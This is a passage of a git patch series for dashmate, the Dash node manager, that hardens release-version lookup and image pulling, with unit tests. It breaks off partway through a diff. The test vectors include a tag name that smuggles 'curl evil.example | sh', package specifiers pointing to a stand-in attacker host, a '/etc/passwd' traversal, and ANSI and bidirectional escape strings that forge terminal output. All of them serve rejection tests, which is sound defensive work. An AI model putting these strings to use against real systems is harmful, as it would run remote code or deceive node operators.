From cd4eb28e3d4f20d8a3d5f2b6d53b9d8568b07039 Mon Sep 17 00:00:00 2001 From: Ivan Shumkov Date: Tue, 28 Jul 2026 20:13:04 +0700 Subject: [PATCH 1/3] fix(dashmate): stop the GitHub release lookup throwing and validate its version The lookup caught node-fetch's FetchError/AbortError names, but dashmate runs on Node's native fetch, which rejects with TypeError('fetch failed') and a TimeoutError DOMException. Neither matched, so the null branch was unreachable and the lookup threw on essentially every network failure. The returned tag_name was also unvalidated and one character was stripped unconditionally, mangling tags without a "v" prefix. Anything the API returns is now required to be a valid semver before it is returned, printed or cached, which keeps package-manager specifiers (git+https:, file:, npm:) and terminal control sequences out of a value the updater will act on. Also enforces the declared response-size cap on JSON bodies, cancels bodies on paths that skip reading them, treats rate limiting as unknown rather than as an error, sends GITHUB_TOKEN when present, and rejects insight responses whose shape would crash the status renderer. Test would have caught this in CI: 14 of 18 new specs fail before the fix. Co-Authored-By: Claude Opus 5 --- packages/dashmate/src/status/providers.js | 240 +++++++- .../test/unit/status/providers.spec.js | 567 ++++++++++++++++++ 2 files changed, 787 insertions(+), 20 deletions(-) create mode 100644 packages/dashmate/test/unit/status/providers.spec.js diff --git a/packages/dashmate/src/status/providers.js b/packages/dashmate/src/status/providers.js index 24594477c18..dfe880826ab 100644 --- a/packages/dashmate/src/status/providers.js +++ b/packages/dashmate/src/status/providers.js @@ -1,33 +1,188 @@ import https from 'https'; +import semver from 'semver'; const MAX_REQUEST_TIMEOUT = 5000; const MAX_RESPONSE_SIZE = 1 * 1024 * 1024; // 1 MB -const request = async (url) => { +// A remote version string is printed to the operator's terminal, included in JSON +// output and passed to package managers, so only a strict semver shape is accepted. +// The anchors and character classes leave no room for control or ANSI escape +// characters, nor for the specifiers a package manager would treat as a location to +// install from (git+https://…, file:…, https://….tgz, npm: aliases). +const VERSION_REGEX = /^\d+\.\d+\.\d+(-[0-9A-Za-z.-]+)?(\+[0-9A-Za-z.-]+)?$/; + +const MAX_LOG_LENGTH = 200; + +// Characters that let remote text hijack a terminal line or disguise itself in the +// output: C0 and C1 controls (including the escape that opens an ANSI sequence), zero +// width characters, line separators, and the bidirectional overrides and isolates that +// reorder what an operator reads. Matching them is the point, hence the disabled rule. +// eslint-disable-next-line no-control-regex +const UNSAFE_LOG_CHARACTERS_REGEX = /[\u0000-\u001f\u007f-\u009f\u200b-\u200f\u2028-\u2029\u202a-\u202e\u2066-\u2069\ufeff]/g; + +/** + * Make text received from a remote host safe to print + * + * Error messages quote the payload that failed to parse, so remote bytes reach the + * terminal through diagnostics even when the value itself is rejected. Both the + * dangerous characters and the length are bounded here. + * + * @param {*} text + * @returns {string} + */ +const sanitizeForLog = (text) => (typeof text === 'string' + ? text.replace(UNSAFE_LOG_CHARACTERS_REGEX, '').slice(0, MAX_LOG_LENGTH) + : '[unprintable]'); + +const request = async (url, options = {}) => { try { return await fetch(url, { + ...options, signal: AbortSignal.timeout(MAX_REQUEST_TIMEOUT), }); } catch (e) { - if (e.name === 'FetchError' || e.name === 'AbortError') { - if (process.env.DEBUG) { - // eslint-disable-next-line no-console - console.warn(`Could not fetch: ${e}`); + // Every transport failure (DNS, connection reset, timeout, abort) is reported as + // an unknown result. Callers use these providers to enrich output, so an + // unreachable remote host must never fail the command that called them. + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Could not fetch ${url}: ${e.name}: ${sanitizeForLog(e.message)}`); + } + + return null; + } +}; + +/** + * Read a response body, giving up as soon as it exceeds the size limit + * + * @param {Response} response + * @returns {Promise} body text, or null if it is too big to read + */ +const readCappedBody = async (response) => { + const declaredSize = Number(response.headers.get('content-length')); + + if (Number.isFinite(declaredSize) && declaredSize > MAX_RESPONSE_SIZE) { + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Response of ${declaredSize} bytes exceeds the size limit`); + } + + // The body is never read on this path, and until it is cancelled the connection + // stays checked out of the pool + response.body?.cancel().catch(() => {}); + + return null; + } + + if (!response.body) { + return null; + } + + const chunks = []; + let size = 0; + + try { + // The declared size is only a hint, so the body is also measured while it is read + // and the connection is dropped before an unbounded response can exhaust memory + for await (const chunk of response.body) { + size += chunk.length; + + if (size > MAX_RESPONSE_SIZE) { + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn('Response size exceeded'); + } + + return null; } - return null; + + chunks.push(chunk); + } + } catch (e) { + // The connection can still drop after the headers arrived, leaving a truncated body + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Could not read response: ${sanitizeForLog(e.message)}`); + } + + return null; + } + + return Buffer.concat(chunks).toString('utf8'); +}; + +const requestJSON = async (url, options = {}) => { + const response = await request(url, options); + + if (!response) { + return null; + } + + // Error responses, including GitHub's 403 when the unauthenticated rate limit is + // hit, carry no usable data and are indistinguishable from an unreachable host + if (!response.ok) { + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Request to ${url} failed with status code ${response.status}`); + } + + // The body is never read on this path, and until it is cancelled the connection + // stays checked out of the pool + response.body?.cancel().catch(() => {}); + + return null; + } + + const body = await readCappedBody(response); + + if (body === null) { + return null; + } + + try { + return JSON.parse(body); + } catch (e) { + if (process.env.DEBUG) { + // The parser quotes an excerpt of the payload it choked on, so this message + // carries remote bytes and cannot be printed as it stands + // eslint-disable-next-line no-console + console.warn(`Could not parse response from ${url}: ${sanitizeForLog(e.message)}`); } - throw e; + + return null; } }; -const requestJSON = async (url) => { - const response = await request(url); +/** + * Extract a version from a release tag name, rejecting anything that is not a version + * + * The tag name is arbitrary text chosen by whoever cut the release, so it is validated + * here, at the boundary, before it can be stored, printed or handed to a package + * manager. + * + * @param {*} tagName + * @returns {string|null} version, or null if the tag does not name one + */ +const parseVersionFromTagName = (tagName) => { + if (typeof tagName !== 'string') { + return null; + } + + // Release tags are conventionally prefixed with "v", but the prefix is optional + const version = tagName.startsWith('v') ? tagName.slice(1) : tagName; - if (response) { - return response.json(); + // semver rejects what the shape check cannot, such as leading zeroes in "01.2.3", + // and normalizes the result: build metadata is dropped, because version comparison + // ignores it while a package manager would refuse to resolve a version carrying it + const normalizedVersion = VERSION_REGEX.test(version) ? semver.valid(version) : null; + + if (normalizedVersion === null && process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Ignoring release tag that is not a version: ${sanitizeForLog(tagName)}`); } - return response; + return normalizedVersion; }; const insightURLs = { @@ -37,28 +192,73 @@ const insightURLs = { export default { insight: (chain) => ({ + /** + * Get the status of an insight instance. + * + * @returns {Promise} A promise that resolves to the status, or to null + * when it cannot be determined. A host that answers with something other than a + * status, such as a maintenance or CDN error page served with a 200, counts as + * undetermined: callers read the block height without re-checking its type. + */ status: async () => { if (!insightURLs[chain]) { return null; } - return requestJSON(`${insightURLs[chain]}/status`); + const json = await requestJSON(`${insightURLs[chain]}/status`); + + // Requiring the one field callers use, with the type they expect, keeps text + // chosen by the remote host from reaching the terminal and the JSON output + if (!Number.isInteger(json?.info?.blocks) || json.info.blocks < 0) { + if (process.env.DEBUG) { + // eslint-disable-next-line no-console + console.warn(`Insight ${chain} did not report a block height`); + } + + return null; + } + + return json; }, }), github: { + /** + * Get the version of the latest release of a GitHub repository. + * + * GitHub reports the most recently *published* release, which is not necessarily + * the highest version: a patch back-ported to an older branch and published after + * a newer release is reported here. A caller that acts on this version, rather + * than only displaying it, must compare it against the version it already has, + * or it can walk backwards onto an older release. + * + * @param {string} repoSlug - The owner and name of the repository. + * @returns {Promise} A promise that resolves to the version, or to + * null when it cannot be determined, including when the host is unreachable, the + * API rate limit is exhausted, or the release is not tagged with a version. + */ release: async (repoSlug) => { - const json = await requestJSON(`https://api.github.com/repos/${repoSlug}/releases/latest`); + const headers = {}; - if (json.message) { - if (process.env.DEBUG) { - // eslint-disable-next-line no-console - console.warn(`Github API: ${json.message}`); - } + // Unauthenticated requests share a per-IP rate limit, which a fleet behind one + // address exhausts quickly, so authenticate when a token is available. Tokens + // are commonly read from a file, and the trailing newline that comes with them + // is an illegal header value that would fail the request instead + const token = process.env.GITHUB_TOKEN?.trim(); + + if (token) { + headers.Authorization = `Bearer ${token}`; + } + + const json = await requestJSON( + `https://api.github.com/repos/${repoSlug}/releases/latest`, + { headers }, + ); + if (!json) { return null; } - return json.tag_name.substring(1); + return parseVersionFromTagName(json.tag_name); }, }, mnowatch: { diff --git a/packages/dashmate/test/unit/status/providers.spec.js b/packages/dashmate/test/unit/status/providers.spec.js new file mode 100644 index 00000000000..1cdc61a3807 --- /dev/null +++ b/packages/dashmate/test/unit/status/providers.spec.js @@ -0,0 +1,567 @@ +import providers from '../../../src/status/providers.js'; + +// Characters that must never reach a terminal or the JSON output: C0 and C1 controls, +// zero width characters, line separators, bidi overrides and isolates. They are built +// from code points so that nothing invisible is embedded in this file. +const UNSAFE_RANGES = [ + [0x0000, 0x001f], [0x007f, 0x009f], [0x200b, 0x200f], + [0x2028, 0x2029], [0x202a, 0x202e], [0x2066, 0x2069], [0xfeff, 0xfeff], +]; + +const CHAR = { + ESC: String.fromCharCode(0x1b), + BEL: String.fromCharCode(0x07), + NUL: String.fromCharCode(0x00), + CSI: String.fromCharCode(0x9b), + ZWSP: String.fromCharCode(0x200b), + LS: String.fromCharCode(0x2028), + RLO: String.fromCharCode(0x202e), + LRI: String.fromCharCode(0x2066), + PDI: String.fromCharCode(0x2069), +}; + +/** + * Report whether text carries a character that could rewrite or disguise output + * + * @param {string} text + * @returns {boolean} + */ +function hasUnsafeCharacters(text) { + return [...text].some((character) => { + const codePoint = character.codePointAt(0); + + return UNSAFE_RANGES.some(([from, to]) => codePoint >= from && codePoint <= to); + }); +} + +/** + * Build a real Response so the provider exercises the same body handling as production + * + * @param {object|string} body + * @param {object} [init] + * @returns {Response} + */ +function jsonResponse(body, init = {}) { + const payload = typeof body === 'string' ? body : JSON.stringify(body); + + return new Response(payload, { + status: 200, + ...init, + headers: { 'content-type': 'application/json', ...init.headers }, + }); +} + +/** + * Build a response whose body is produced on demand, so the test can observe how much + * of it was actually read and whether it was released + * + * @param {object} [options] + * @param {number} [options.chunkSize] + * @param {number} [options.chunkCount] + * @param {object} [options.init] + * @returns {{response: Response, counters: {pulls: number, cancelled: boolean}}} + */ +function streamingResponse({ chunkSize = 64 * 1024, chunkCount = 64, init = {} } = {}) { + const counters = { pulls: 0, cancelled: false }; + + const body = new ReadableStream({ + pull(controller) { + counters.pulls += 1; + + if (counters.pulls > chunkCount) { + controller.close(); + + return; + } + + controller.enqueue(new Uint8Array(chunkSize).fill(0x41)); + }, + cancel() { + counters.cancelled = true; + }, + }); + + return { + counters, + response: new Response(body, { + status: 200, + ...init, + headers: { 'content-type': 'application/json', ...init.headers }, + }), + }; +} + +/** + * Run a provider call with DEBUG enabled and collect everything it printed + * + * @param {object} sinon + * @param {Function} run + * @returns {Promise<{result: *, logged: string}>} + */ +async function captureWarnings(sinon, run) { + const previousDebug = process.env.DEBUG; + + const warn = sinon.stub(console, 'warn'); + + process.env.DEBUG = '1'; + + try { + const result = await run(); + + return { + result, + logged: warn.getCalls().map((call) => call.args.join(' ')).join(' '), + }; + } finally { + if (previousDebug === undefined) { + delete process.env.DEBUG; + } else { + process.env.DEBUG = previousDebug; + } + } +} + +/** + * Set GITHUB_TOKEN for the duration of a call + * + * @param {string|undefined} token + * @param {Function} run + * @returns {Promise<*>} + */ +async function withToken(token, run) { + const previousToken = process.env.GITHUB_TOKEN; + + if (token === undefined) { + delete process.env.GITHUB_TOKEN; + } else { + process.env.GITHUB_TOKEN = token; + } + + try { + return await run(); + } finally { + if (previousToken === undefined) { + delete process.env.GITHUB_TOKEN; + } else { + process.env.GITHUB_TOKEN = previousToken; + } + } +} + +describe('providers', () => { + let fetchStub; + + beforeEach(function beforeEach() { + fetchStub = this.sinon.stub(globalThis, 'fetch'); + }); + + describe('#github.release', () => { + it('should return the version of a release tag', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.equal('23.0.0'); + }); + + it('should return the version of a prerelease tag', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v4.1.0-rc.3' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.equal('4.1.0-rc.3'); + }); + + it('should return the version of a tag published without a "v" prefix', async () => { + fetchStub.resolves(jsonResponse({ tag_name: '23.0.0' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.equal('23.0.0'); + }); + + it('should drop build metadata from the version', async () => { + // Version comparison ignores build metadata, so keeping it would make a newer + // release compare equal to the installed one, and no package manager resolves it + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0+20260728.deadbee' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.equal('23.0.0'); + }); + + it('should reject a version with leading zeroes', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v01.2.3' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when the connection fails', async () => { + // Native fetch rejects with a TypeError("fetch failed") for connection errors + fetchStub.rejects(new TypeError('fetch failed')); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when the request times out', async () => { + // AbortSignal.timeout aborts with a TimeoutError, not an AbortError + fetchStub.rejects( + new DOMException('The operation was aborted due to timeout', 'TimeoutError'), + ); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when the request is aborted', async () => { + fetchStub.rejects(new DOMException('The operation was aborted', 'AbortError')); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when the connection drops mid response', async () => { + const body = new ReadableStream({ + start(controller) { + controller.enqueue(new TextEncoder().encode('{"tag_name":')); + controller.error(new TypeError('terminated')); + }, + }); + + fetchStub.resolves(new Response(body, { + status: 200, + headers: { 'content-type': 'application/json' }, + })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null when the API responds with a rate limit error', async () => { + fetchStub.resolves(jsonResponse( + { message: 'API rate limit exceeded' }, + { status: 403 }, + )); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null when a rate limited response is not JSON', async () => { + fetchStub.resolves(new Response('rate limited', { + status: 403, + headers: { 'content-type': 'text/html' }, + })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when a field holds an object', async function it() { + // Coercing a value shaped like this to a string throws, and that throw escapes + // the provider exactly the way a missing null check does. Diagnostics are the + // likeliest place to coerce a remote field, so this runs with them enabled. + fetchStub.resolves(jsonResponse({ message: { toString: 'x' }, tag_name: { toString: 'x' } })); + + const { result, logged } = await captureWarnings( + this.sinon, + () => providers.github.release('dashpay/dash'), + ); + + expect(result).to.be.null(); + expect(hasUnsafeCharacters(logged)).to.be.false(); + }); + + it('should return null when the response exceeds the maximum size', async () => { + const oversized = JSON.stringify({ + tag_name: 'v23.0.0', + body: 'A'.repeat(2 * 1024 * 1024), + }); + + fetchStub.resolves(jsonResponse(oversized)); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should stop reading an oversized body instead of buffering it', async () => { + // Returning null is not enough: an implementation that reads the whole body and + // measures afterwards does exactly what the limit exists to prevent + const { response, counters } = streamingResponse({ chunkCount: 64 }); + + fetchStub.resolves(response); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + expect(counters.cancelled).to.be.true(); + // 1 MB is 16 chunks of 64 KB, plus the one that crosses the limit + expect(counters.pulls).to.be.at.most(20); + }); + + it('should return null when the response declares an oversized content-length', async () => { + const { response, counters } = streamingResponse({ + init: { headers: { 'content-length': `${8 * 1024 * 1024}` } }, + }); + + fetchStub.resolves(response); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + // The body is never read, so it has to be released rather than left to the GC. + // A stream fills its queue with one chunk on construction, so that one does not + // count as reading; an implementation that read the body would pull many more. + expect(counters.pulls).to.be.at.most(1); + expect(counters.cancelled).to.be.true(); + }); + + it('should release the body of a response it does not read', async () => { + const { response, counters } = streamingResponse({ init: { status: 403 } }); + + fetchStub.resolves(response); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + expect(counters.pulls).to.be.at.most(1); + expect(counters.cancelled).to.be.true(); + }); + + it('should reject a tag name carrying an npm install specifier', async () => { + const vectors = [ + 'vgit+https://evil.example/pkg', + 'git+ssh://git@evil.example/pkg.git', + 'vfile:/tmp/evil', + 'file:../../evil', + 'vnpm:evil@1.0.0', + 'https://evil.example/pkg.tgz', + 'v1.2.3 && curl evil.example | sh', + 'v../../../etc/passwd', + 'v-1.2.3', + 'v1.2', + 'vlatest', + ]; + + const results = []; + + for (const tagName of vectors) { + fetchStub.resolves(jsonResponse({ tag_name: tagName })); + + results.push([tagName, await providers.github.release('dashpay/dash')]); + } + + expect(results).to.deep.equal(vectors.map((tagName) => [tagName, null])); + }); + + it('should reject a tag name containing control or ANSI escape characters', async () => { + const vectors = [ + // ANSI erase line and carriage return: rewrites the operator's terminal line + `v1.2.3${CHAR.ESC}[2K\rInstalled 9.9.9`, + // ANSI colour escape + `v1.2.3${CHAR.ESC}[31m`, + // terminal bell + `v1.2.3${CHAR.BEL}`, + // newline: forges an extra line for anything reading the output line by line + 'v1.2.3\n{"latestVersion":"9.9.9"}', + // C1 control introducer, which some terminals treat as the start of a sequence + `v1.2.3${CHAR.CSI}[31m`, + // NUL + `v1.2.3${CHAR.NUL}`, + // right to left override and bidi isolates reorder what is displayed + `v1.2.3${CHAR.RLO}9.9.9`, + `v1.2.3${CHAR.LRI}9.9.9${CHAR.PDI}`, + // zero width space and line separator + `v1.2.3${CHAR.ZWSP}9`, + `v1.2.3${CHAR.LS}forged`, + ]; + + const results = []; + + for (const tagName of vectors) { + fetchStub.resolves(jsonResponse({ tag_name: tagName })); + + results.push([tagName, await providers.github.release('dashpay/dash')]); + } + + expect(results).to.deep.equal(vectors.map((tagName) => [tagName, null])); + }); + + it('should return null when the release has no tag name', async () => { + fetchStub.resolves(jsonResponse({})); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should not print control characters from a response it could not parse', async function it() { + // The JSON parser quotes the payload it choked on, which carries remote bytes + // into the log even though the value itself is rejected + const forgery = `${CHAR.ESC}[2K\rdashmate is up to date${CHAR.ESC}[0m <-- forged`; + + fetchStub.resolves(jsonResponse(forgery)); + + const { result, logged } = await captureWarnings( + this.sinon, + () => providers.github.release('dashpay/dash'), + ); + + expect(result).to.be.null(); + expect(hasUnsafeCharacters(logged)).to.be.false(); + }); + + it('should not print control characters from a rejected tag name', async function it() { + const forgery = `v9.9.9${CHAR.ESC}[2K\r${CHAR.RLO}forged${CHAR.ZWSP}${CHAR.LS}`; + + fetchStub.resolves(jsonResponse({ tag_name: forgery })); + + const { result, logged } = await captureWarnings( + this.sinon, + () => providers.github.release('dashpay/dash'), + ); + + expect(result).to.be.null(); + expect(hasUnsafeCharacters(logged)).to.be.false(); + }); + + it('should bound the length of what it prints about a tag name', async function it() { + // The response size limit is the only other bound, and it allows a megabyte + const tagName = `v1.2.3-${'a'.repeat(900 * 1024)}`; + + fetchStub.resolves(jsonResponse({ tag_name: tagName })); + + const { result, logged } = await captureWarnings( + this.sinon, + () => providers.github.release('dashpay/dash'), + ); + + expect(result).to.be.null(); + expect(logged.length).to.be.at.most(300); + }); + + it('should authenticate with GITHUB_TOKEN when it is present', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + await withToken('ghp_testtoken', () => providers.github.release('dashpay/dash')); + + const [url, options] = fetchStub.firstCall.args; + + expect(url).to.equal('https://api.github.com/repos/dashpay/dash/releases/latest'); + expect(options.headers).to.have.property('Authorization', 'Bearer ghp_testtoken'); + }); + + it('should authenticate with a GITHUB_TOKEN read from a file', async () => { + // A token captured with $(cat token) keeps its trailing newline, which is an + // illegal header value: the request would fail and look like an unreachable host + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + const version = await withToken( + 'ghp_testtoken\n', + () => providers.github.release('dashpay/dash'), + ); + + const [, options] = fetchStub.firstCall.args; + + expect(() => new Headers(options.headers)).to.not.throw(); + expect(options.headers).to.have.property('Authorization', 'Bearer ghp_testtoken'); + expect(version).to.equal('23.0.0'); + }); + + it('should not send an Authorization header without GITHUB_TOKEN', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + await withToken(undefined, () => providers.github.release('dashpay/dash')); + + const [url, options] = fetchStub.firstCall.args; + + expect(url).to.equal('https://api.github.com/repos/dashpay/dash/releases/latest'); + expect(options.headers).to.be.an('object'); + expect(options.headers).to.not.have.property('Authorization'); + }); + + it('should not send an Authorization header for a blank GITHUB_TOKEN', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + await withToken(' ', () => providers.github.release('dashpay/dash')); + + const [, options] = fetchStub.firstCall.args; + + expect(options.headers).to.be.an('object'); + expect(options.headers).to.not.have.property('Authorization'); + }); + }); + + describe('#insight.status', () => { + it('should return the status', async () => { + fetchStub.resolves(jsonResponse({ info: { blocks: 1337 } })); + + const status = await providers.insight('testnet').status(); + + expect(status).to.deep.equal({ info: { blocks: 1337 } }); + }); + + it('should return null for an unknown chain', async () => { + const status = await providers.insight('regtest').status(); + + expect(status).to.be.null(); + }); + + it('should return null instead of throwing when the connection fails', async () => { + fetchStub.rejects(new TypeError('fetch failed')); + + const status = await providers.insight('testnet').status(); + + expect(status).to.be.null(); + }); + + it('should return null when the response exceeds the maximum size', async () => { + fetchStub.resolves(jsonResponse(JSON.stringify({ + info: { blocks: 1 }, + body: 'A'.repeat(2 * 1024 * 1024), + }))); + + const status = await providers.insight('testnet').status(); + + expect(status).to.be.null(); + }); + + it('should return null when the host answers with something other than a status', async () => { + // A maintenance or CDN page served with a 200 arrives here as valid JSON, and + // the caller reads the block height without re-checking that it is one + const vectors = ['{}', '{"error":"maintenance"}', '[]', '"ok"', '42', 'null', + '{"info":null}', '{"info":{}}', '{"info":{"blocks":"1337"}}', + '{"info":{"blocks":1.5}}', '{"info":{"blocks":-1}}']; + + const results = []; + + for (const payload of vectors) { + fetchStub.resolves(jsonResponse(payload)); + + results.push([payload, await providers.insight('testnet').status()]); + } + + expect(results).to.deep.equal(vectors.map((payload) => [payload, null])); + }); + + it('should return null when the block height is text carrying escape sequences', async () => { + fetchStub.resolves(jsonResponse({ + info: { blocks: `${CHAR.ESC}[2K\rBLOCK HEIGHT SPOOFED` }, + })); + + const status = await providers.insight('testnet').status(); + + expect(status).to.be.null(); + }); + }); +}); From 47e15e25cf0a23c426f892fdd0204dea9609b58a Mon Sep 17 00:00:00 2001 From: Ivan Shumkov Date: Tue, 28 Jul 2026 20:13:26 +0700 Subject: [PATCH 2/3] fix(dashmate): report failed image pulls and pull before stopping the node Docker reports pull failures such as registry rate limiting and a full disk as in-band error objects on an otherwise successful stream, so docker-modem's followProgress resolves and the old hand-rolled parser looked only for status lines. Failures were therefore reported as a coloured word in a table, with the reason printed only under DEBUG and an exit code of 0, so automation could not tell "updated everything" from "updated nothing". Restart compounded that: it stopped every service and only then let compose pull whatever was missing, so a pull that failed in that window left the node down. Required images are now confirmed present before anything is stopped, which for a masternode is the difference between a failed command and missed blocks. Pull-stream parsing moves to docker-modem's followProgress, which buffers across chunk boundaries and splits on the separator Docker actually emits. The previous parser split each chunk on CRLF and parsed every fragment, so an ordinary TCP boundary threw inside the stream handler where nothing could catch it. Services built from local sources are reported as such instead of being pulled, and group restart gains the same pre-stop guarantee across every node. Test would have caught this in CI: 11 new specs fail before the fix. Co-Authored-By: Claude Opus 5 --- .../dashmate/src/commands/group/restart.js | 15 + packages/dashmate/src/commands/update.js | 19 +- packages/dashmate/src/docker/DockerCompose.js | 90 +++++- .../dashmate/src/docker/dockerPullFactory.js | 17 +- .../src/docker/findPullStreamError.js | 19 ++ .../src/docker/getServiceListFactory.js | 9 +- .../src/listr/tasks/restartNodeTaskFactory.js | 32 +- .../dashmate/src/update/updateNodeFactory.js | 91 +++--- .../test/unit/commands/group/restart.spec.js | 66 ++++ .../test/unit/commands/update.spec.js | 296 ++++++++++++++++-- .../test/unit/docker/DockerCompose.spec.js | 224 +++++++++++++ .../unit/docker/dockerPullFactory.spec.js | 72 +++++ .../unit/docker/getServiceListFactory.spec.js | 110 +++++++ .../tasks/restartNodeTaskFactory.spec.js | 84 +++++ 14 files changed, 1080 insertions(+), 64 deletions(-) create mode 100644 packages/dashmate/src/docker/findPullStreamError.js create mode 100644 packages/dashmate/test/unit/commands/group/restart.spec.js create mode 100644 packages/dashmate/test/unit/docker/DockerCompose.spec.js create mode 100644 packages/dashmate/test/unit/docker/dockerPullFactory.spec.js create mode 100644 packages/dashmate/test/unit/docker/getServiceListFactory.spec.js create mode 100644 packages/dashmate/test/unit/listr/tasks/restartNodeTaskFactory.spec.js diff --git a/packages/dashmate/src/commands/group/restart.js b/packages/dashmate/src/commands/group/restart.js index 0ba25f5f8c9..cd5f27f7286 100644 --- a/packages/dashmate/src/commands/group/restart.js +++ b/packages/dashmate/src/commands/group/restart.js @@ -41,6 +41,21 @@ export default class GroupRestartCommand extends GroupBaseCommand { title: `Restart ${groupName} nodes`, task: async () => ( new Listr([ + { + // Every node's images must be fetched before the first node is + // stopped, otherwise a failed pull leaves the group stopped + title: 'Pull missing images', + task: () => ( + new Listr(configGroup.map((config) => ({ + task: (ctx, task) => dockerCompose.pullMissingImages(config, { + onProgress: (message) => { + // eslint-disable-next-line no-param-reassign + task.output = message; + }, + }), + }))) + ), + }, { title: 'Stop nodes', task: () => ( diff --git a/packages/dashmate/src/commands/update.js b/packages/dashmate/src/commands/update.js index dce6b2c6790..5fff68f2742 100644 --- a/packages/dashmate/src/commands/update.js +++ b/packages/dashmate/src/commands/update.js @@ -38,6 +38,7 @@ export default class UpdateCommand extends ConfigBaseCommand { const colors = { updated: chalk.yellow, 'up to date': chalk.green, + 'built locally': chalk.gray, error: chalk.red, }; @@ -45,16 +46,30 @@ export default class UpdateCommand extends ConfigBaseCommand { printArrayOfObjects(updateInfo .reduce( (acc, { - name, title, updated, image, + name, title, updated, image, error, }) => ([ ...acc, format === OUTPUT_FORMATS.PLAIN ? { Service: title, Image: image, Updated: colors[updated](updated) } : { - name, title, updated, image, + name, title, updated, image, error, }, ]), [], ), format); + + const failedServices = updateInfo.filter(({ updated }) => updated === 'error'); + + if (failedServices.length > 0) { + const reasons = failedServices + .map(({ title, image, error }) => ` ${title} (${image}): ${error}`) + .join('\n'); + + // Report to stderr to keep machine-readable output on stdout intact + // eslint-disable-next-line no-console + console.error(`\nFailed to update ${failedServices.length} of ${updateInfo.length} images:\n\n${reasons}\n`); + + process.exitCode = 1; + } } } diff --git a/packages/dashmate/src/docker/DockerCompose.js b/packages/dashmate/src/docker/DockerCompose.js index a5bbb0889f8..9ac153b8b71 100644 --- a/packages/dashmate/src/docker/DockerCompose.js +++ b/packages/dashmate/src/docker/DockerCompose.js @@ -61,19 +61,26 @@ export default class DockerCompose { */ #getServiceList; + /** + * @type {dockerPull} + */ + #dockerPull; + /** * @param {Docker} docker * @param {StartedContainers} startedContainers * @param {HomeDir} homeDir * @param {generateEnvs} generateEnvs * @param {getServiceList} getServiceList + * @param {dockerPull} dockerPull */ - constructor(docker, startedContainers, homeDir, generateEnvs, getServiceList) { + constructor(docker, startedContainers, homeDir, generateEnvs, getServiceList, dockerPull) { this.#docker = docker; this.#startedContainers = startedContainers; this.#homeDir = homeDir; this.#generateEnvs = generateEnvs; this.#getServiceList = getServiceList; + this.#dockerPull = dockerPull; } /** @@ -498,6 +505,87 @@ export default class DockerCompose { } } + /** + * Pull images required by the config that are not present on the host + * + * Docker Compose pulls a missing image only when it creates the container, + * which during a restart happens after the node has already been stopped. + * A failed pull would then leave the node down, so images are fetched + * upfront and the caller can abort while the node is still running. + * + * @param {Config} config + * @param {Object} [options] + * @param {string[]} [options.profiles] - Filter by profiles + * @param {function} [options.onProgress] - Called with pull progress messages + * @return {Promise} images that have been pulled + */ + async pullMissingImages(config, { profiles = [], onProgress = undefined } = {}) { + await this.throwErrorIfNotInstalled(); + + let serviceList = this.#getServiceList(config); + + if (profiles.length > 0) { + // Compose creates a service when one of its profiles is enabled, and + // always creates a service that declares no profiles at all + serviceList = serviceList.filter((service) => service.profiles.length === 0 + || service.profiles.some((profile) => profiles.includes(profile))); + } + + const images = serviceList + // Images built from sources on this host are not available in a registry + .filter((service) => !service.isBuiltLocally) + .map((service) => service.image); + + const pulledImages = []; + + for (const image of new Set(images)) { + if (await this.#isImagePresent(image)) { + continue; + } + + try { + await this.#dockerPull(image, (message) => { + if (onProgress && message?.status) { + const progress = message.progress ? ` ${message.progress}` : ''; + + onProgress(`${image}: ${message.status}${progress}`); + } + }); + } catch (e) { + throw new Error(`Failed to pull image ${image}: ${e.message}`); + } + + // Docker can report a successful pull without producing the image, + // and the whole point of pulling here is to know the image is on the host + if (!await this.#isImagePresent(image)) { + throw new Error(`Failed to pull image ${image}: it is still not present on the host`); + } + + pulledImages.push(image); + } + + return pulledImages; + } + + /** + * @private + * @param {string} image + * @return {Promise} + */ + async #isImagePresent(image) { + try { + await this.#docker.getImage(image).inspect(); + + return true; + } catch (e) { + if (e.statusCode === 404) { + return false; + } + + throw new Error(`Failed to check image ${image}: ${e.message}`); + } + } + /** * Logs * diff --git a/packages/dashmate/src/docker/dockerPullFactory.js b/packages/dashmate/src/docker/dockerPullFactory.js index 5d58b3d24dc..e49347ab769 100644 --- a/packages/dashmate/src/docker/dockerPullFactory.js +++ 